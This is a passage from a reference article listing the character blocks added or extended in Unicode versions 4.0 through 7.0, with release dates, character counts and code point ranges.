* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357 and U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF and U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F and U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01 and U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C and U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35 and U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD and U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691 and U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D and U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF and U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427 and U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''' (U+0750-U+077F), containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''' (U+1380-U+139F), containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''' (U+1980-U+19DF), containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''' (U+1A00-U+1A1F), containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''' (U+1D80-U+1DBF), containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''' (U+1DC0-U+1DFF), containing 4 additional diacritics, was added.
* '''Glagolitic''' (U+2C00-U+2C5F), containing 94 characters for the Glagolitic script, was added.
* '''Coptic''' (U+2C80-U+2CFF), containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''' (U+2D00-U+2D2F), containing 38 Nuskhuri letters, was added.
* '''Tifinagh''' (U+2D30-U+2D7F), containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''' (U+2D80-U+2DDF), containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''' (U+2E00-U+2E7F), containing 26 additional punctuation marks, was added.
* '''CJK Strokes''' (U+31C0-U+31CF), containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''' (U+A700-U+A71F), containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''' (U+A800-U+A82F), containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''' (U+FE10-U+FE1F), containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''' (U+10140-U+1018F), containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''' (U+103A0-U+103DF), containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''' (U+10A00-U+10A5F), containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''' (U+1D200-U+1D24F), containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''. (U+0237-U+0241)
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''. (U+0358-U+035C)
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''. (U+03FC-U+03FF)
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''. (U+04F6-U+04F7)
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''. (U+05A2 and U+05C5-U+05C7)
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''. (U+060B, U+061E, and U+0659-U+065E)
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''. (U+097D)
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''. (U+09CE)
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''. (U+0BB6 and U+0BE6)
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''. (U+0FD0-U+0FD1)
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''. (U+10F9-U+10FA and  U+10FC)
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''. (U+1207, U+1247, U+1287, U+12AF, U+12CF, U+12EF, U+130F, U+131F, U+1347, U+135F, and U+1360)
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''. (U+1D6C-U+1D7F)
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''. (U+2055-U+2056 and U+2058-U+205E)
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''. (U+2090-U+2094)
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''. (U+20B2-U+20B5)
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20EB)
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''. (U+213C and U+214C)
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23D1-U+23DB)
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''. (U+2618, U+267E-U+267F, U+2692-U+269C, and U+26A2-U+26B1)
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C0-U+27C6)
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B0E-U+2B1D)
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+327E)
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''. (U+9FA6-U+9FBB)
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA70-U+FAD9)
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''. (U+1D6A4-U+1D6A5)

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''', containing 59 characters for the N'Ko script, was added.
* '''Balinese''', containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''', containing 17 letters for various languages, was added.
* '''Latin Extended-D''', containing 2 characters for UPA, was added.
* '''Phags-pa''', containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''', containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''', containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''', containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''', containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''.
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''.
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''.
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''.
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''.
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''.
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''.
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''.
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''.
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''.
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''.
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''.
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''.
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
